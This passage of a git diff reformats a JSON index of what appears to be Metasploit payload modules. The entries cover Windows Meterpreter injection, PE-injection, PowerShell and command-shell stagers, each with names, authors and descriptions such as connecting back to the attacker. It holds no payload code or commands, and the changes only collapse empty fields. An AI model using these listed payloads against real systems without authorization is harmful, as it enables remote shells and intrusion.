], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255986,9 +227646,7 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256002,8 +227660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256014,9 +227671,7 @@ "payload_windows/patchupmeterpreter/bind_named_pipe": { "name": "Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/patchupmeterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256026,9 +227681,7 @@ "UserExistsError" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256042,8 +227695,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256054,9 +227706,7 @@ "payload_windows/patchupmeterpreter/bind_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256066,9 +227716,7 @@ "vlad902 " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256082,8 +227730,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256094,9 +227741,7 @@ "payload_windows/patchupmeterpreter/bind_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256107,9 +227752,7 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256123,8 +227766,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256135,9 +227777,7 @@ "payload_windows/patchupmeterpreter/bind_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256150,9 +227790,7 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256166,8 +227804,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256178,9 +227815,7 @@ "payload_windows/patchupmeterpreter/bind_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupmeterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256191,9 +227826,7 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256207,8 +227840,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256219,9 +227851,7 @@ "payload_windows/patchupmeterpreter/find_tag": { "name": "Windows Meterpreter (skape/jt Injection), Find Tag Ordinal Stager", "fullname": "payload/windows/patchupmeterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256230,9 +227860,7 @@ "jt " ], "description": "Inject the meterpreter server DLL (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256246,8 +227874,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256258,9 +227885,7 @@ "payload_windows/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/patchupmeterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256271,9 +227896,7 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256287,8 +227910,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256299,9 +227921,7 @@ "payload_windows/patchupmeterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256311,9 +227931,7 @@ "vlad902 " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256327,8 +227945,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256339,9 +227956,7 @@ "payload_windows/patchupmeterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupmeterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256351,9 +227966,7 @@ "spoonm " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256367,8 +227980,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256379,9 +227991,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256392,9 +228002,7 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256408,8 +228016,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256420,9 +228027,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256433,9 +228038,7 @@ "sf " ], "description": "Inject the meterpreter server DLL (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256449,8 +228052,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256461,9 +228063,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256475,9 +228075,7 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256491,8 +228089,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256503,9 +228100,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256518,9 +228113,7 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256534,8 +228127,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256546,9 +228138,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256561,9 +228151,7 @@ "RageLtMan" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256577,8 +228165,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256589,9 +228176,7 @@ "payload_windows/patchupmeterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/patchupmeterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256602,9 +228187,7 @@ "OJ Reeves" ], "description": "Inject the meterpreter server DLL (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -256618,8 +228201,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256630,9 +228212,7 @@ "payload_windows/peinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/peinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256661,8 +228241,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256673,9 +228252,7 @@ "payload_windows/peinject/bind_hidden_tcp": { "name": "Windows Inject PE Files, Hidden Bind TCP Stager", "fullname": "payload/windows/peinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256704,8 +228281,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256716,9 +228292,7 @@ "payload_windows/peinject/bind_ipv6_tcp": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256745,8 +228319,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256757,9 +228330,7 @@ "payload_windows/peinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256787,8 +228358,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256799,9 +228369,7 @@ "payload_windows/peinject/bind_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256826,8 +228394,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256838,9 +228405,7 @@ "payload_windows/peinject/bind_nonx_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256865,8 +228430,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256877,9 +228441,7 @@ "payload_windows/peinject/bind_tcp": { "name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256906,8 +228468,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256918,9 +228479,7 @@ "payload_windows/peinject/bind_tcp_rc4": { "name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256949,8 +228508,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -256961,9 +228519,7 @@ "payload_windows/peinject/bind_tcp_uuid": { "name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -256989,8 +228545,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257001,9 +228556,7 @@ "payload_windows/peinject/find_tag": { "name": "Windows Inject PE Files, Find Tag Ordinal Stager", "fullname": "payload/windows/peinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257028,8 +228581,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257040,9 +228592,7 @@ "payload_windows/peinject/reverse_ipv6_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/peinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257069,8 +228619,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257081,9 +228630,7 @@ "payload_windows/peinject/reverse_named_pipe": { "name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257108,8 +228655,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257120,9 +228666,7 @@ "payload_windows/peinject/reverse_nonx_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257147,8 +228691,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257159,9 +228702,7 @@ "payload_windows/peinject/reverse_ord_tcp": { "name": "Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/peinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257186,8 +228727,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257198,9 +228738,7 @@ "payload_windows/peinject/reverse_tcp": { "name": "Windows Inject PE Files, Reverse TCP Stager", "fullname": "payload/windows/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257227,8 +228765,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257239,9 +228776,7 @@ "payload_windows/peinject/reverse_tcp_allports": { "name": "Windows Inject PE Files, Reverse All-Port TCP Stager", "fullname": "payload/windows/peinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257268,8 +228803,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257280,9 +228814,7 @@ "payload_windows/peinject/reverse_tcp_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (DNS)", "fullname": "payload/windows/peinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257310,8 +228842,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257322,9 +228853,7 @@ "payload_windows/peinject/reverse_tcp_rc4": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257353,8 +228882,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257365,9 +228893,7 @@ "payload_windows/peinject/reverse_tcp_rc4_dns": { "name": "Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/peinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257396,8 +228922,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257408,9 +228933,7 @@ "payload_windows/peinject/reverse_tcp_uuid": { "name": "Windows Inject PE Files, Reverse TCP Stager with UUID Support", "fullname": "payload/windows/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257436,8 +228959,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257448,9 +228970,7 @@ "payload_windows/pingback_bind_tcp": { "name": "Windows x86 Pingback, Bind TCP Inline", "fullname": "payload/windows/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257458,9 +228978,7 @@ "bwatters-r7" ], "description": "Open a socket and report UUID when a connection is received (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257474,8 +228992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257484,9 +229001,7 @@ "payload_windows/pingback_reverse_tcp": { "name": "Windows x86 Pingback, Reverse TCP Inline", "fullname": "payload/windows/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257494,9 +229009,7 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257510,8 +229023,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257520,9 +229032,7 @@ "payload_windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", "fullname": "payload/windows/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257549,8 +229059,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257559,9 +229068,7 @@ "payload_windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", "fullname": "payload/windows/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257588,8 +229095,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257598,9 +229104,7 @@ "payload_windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", "fullname": "payload/windows/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257627,8 +229131,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -257637,9 +229140,7 @@ "payload_windows/shell/bind_hidden_ipknock_tcp": { "name": "Windows Command Shell, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/shell/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257667,8 +229168,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257679,9 +229179,7 @@ "payload_windows/shell/bind_hidden_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Stager", "fullname": "payload/windows/shell/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257709,8 +229207,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257721,9 +229218,7 @@ "payload_windows/shell/bind_ipv6_tcp": { "name": "Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257734,9 +229229,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257750,8 +229243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257762,9 +229254,7 @@ "payload_windows/shell/bind_ipv6_tcp_uuid": { "name": "Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257776,9 +229266,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257792,8 +229280,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257804,9 +229291,7 @@ "payload_windows/shell/bind_named_pipe": { "name": "Windows Command Shell, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257816,9 +229301,7 @@ "UserExistsError" ], "description": "Spawn a piped command shell (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257832,8 +229315,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257844,9 +229326,7 @@ "payload_windows/shell/bind_nonx_tcp": { "name": "Windows Command Shell, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257856,9 +229336,7 @@ "vlad902 " ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257872,8 +229350,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257884,9 +229361,7 @@ "payload_windows/shell/bind_tcp": { "name": "Windows Command Shell, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257897,9 +229372,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257913,8 +229386,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257925,9 +229397,7 @@ "payload_windows/shell/bind_tcp_rc4": { "name": "Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257940,9 +229410,7 @@ "RageLtMan" ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257956,8 +229424,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -257968,9 +229435,7 @@ "payload_windows/shell/bind_tcp_uuid": { "name": "Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -257981,9 +229446,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -257997,8 +229460,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258009,9 +229471,7 @@ "payload_windows/shell/find_tag": { "name": "Windows Command Shell, Find Tag Ordinal Stager", "fullname": "payload/windows/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258021,9 +229481,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258037,8 +229495,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258049,9 +229506,7 @@ "payload_windows/shell/reverse_ipv6_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258062,9 +229517,7 @@ "skape " ], "description": "Spawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, @@ -258078,8 +229531,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -258090,9 +229542,7 @@ "payload_windows/shell/reverse_nonx_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -258102,9 +229552,7 @@ "vlad902 